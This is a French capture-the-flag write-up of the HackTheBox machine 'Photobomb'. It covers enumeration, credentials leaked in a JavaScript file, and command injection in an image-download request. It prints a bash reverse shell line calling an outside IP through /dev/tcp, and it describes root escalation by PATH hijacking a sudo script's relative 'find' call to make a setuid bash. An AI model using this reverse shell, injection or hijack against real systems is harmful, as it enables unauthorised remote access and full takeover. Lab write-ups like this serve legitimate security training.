Bonjour à toutes et tous, aujourd'hui on s'attaque à la machine Photobomb sur HackTheBox.
C'est une machine classifiée facile, et nous allons voir que les démarches pour atteindre les deux flags sont relativement rapides (si l'on cherche aux bons endroits).
On commence par réaliser un NMAP afin de scanner les ports ouverts sur la machine :
On s'aperçoit que seul le port 80 (HTTP) ainsi que le port 22 (SSH) sont ouverts. On obtient aussi le nom de domaine (photobomb.htb) qu'il faut ajouter dans notre ficher "/etc/hosts"
Lorsque l'on se rend sur le site, on se rend compte qu'il n'y a pas grand chose, c'est un site vitrine (d'apparence).
Un lien permet de se connecter pour accéder à une autre partie du site. Néanmoins, sans creds, impossible de se connecter, il va falloir trouver une solution. On peut quand même remarquer qu'en cas d'échec d'authentification, on est redirigé sur "/printers".
On lance une énumération des "directories" avec gobuster en fond, en parralèle, on continue l'énumération à la main afin de voir si l'on peut trouver quelque chose d'intéressant.
Les résultats de gobuster ne seront pas très intéressants car toutes les pages que l'on trouve nécessite une authentification. Toujours étant qu'en inspectant le code source de la page, on s'aperçoit qu'un fichier JS est utilisé. En y accédant, on obtient des creds visiblement destinés au support technique du site web.
Il suffit d'utiliser ces creds pour nous connecter ou tout simplement de c/v le lien ! :)
Maintenant que nous avons accès, nous pouvons continuer à énumérer le site. On remarque rapidement un bouton pour télécharger la photo :
On lance Burp Suite afin d'étudier la requête qui est effectuée.
On test plusieurs attaques comme du LFI sur la requète, rien ne fonctionne jusqu'au moment où on test les injections de commandes. Comme on peut le voir ci-contre, il suffit d'ajouter "; {command}" à la suite d'un des trois paramètres pour que ce soit executé.
Maintenant que nous avons une RCE sur le serveur web, il suffit de créer notre reverse shell et de l'envoyer afin d'avoir accès à la machine.
Dans un premier temps, un simple reverse shell "bash -i >& /dev/tcp/10.10.14.40/4242 0>&1" ne fonctionne pas, même en URL encodant (surement à cause des caractères spéciaux). On décide donc de le passer en base64 en faisant attention de n'avoir aucun "+".
Puis, on passe notre payload dans la requète.
Ainsi, on obtient un shell sur la machine pour récupérer le flag user.txt. On stabilise notre shell et on s'attaque au privesc !
On pourrait lancer Linpeas pour voir s'il y a des chemins de privesc rapide, mais simplement à l'aide d'un sudo -l
on s'aperçoit que l'on peut lancer un script en temps que Root.
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
Le script en question présente une vulnérabilité. En effet, l'utilitaire "find" n'est pas défini avec son chemin absolu, on va pouvoir en abuser pour obtenir un shell root.
On créer un script Bash sous le nom de find dans "/tmp". Ce dernier va copier bash et lui attribuer le setuid Root.
On oublie pas de "chmod +x" notre script find.
Maintenant, il suffit de changer le path de notre utilisateur (an ajoutant "/tmp:") et de lancer le script :D
Et voilà !
J'espère que ce premier WriteUp vous aura plus, j'en referai peut être à l'avenir.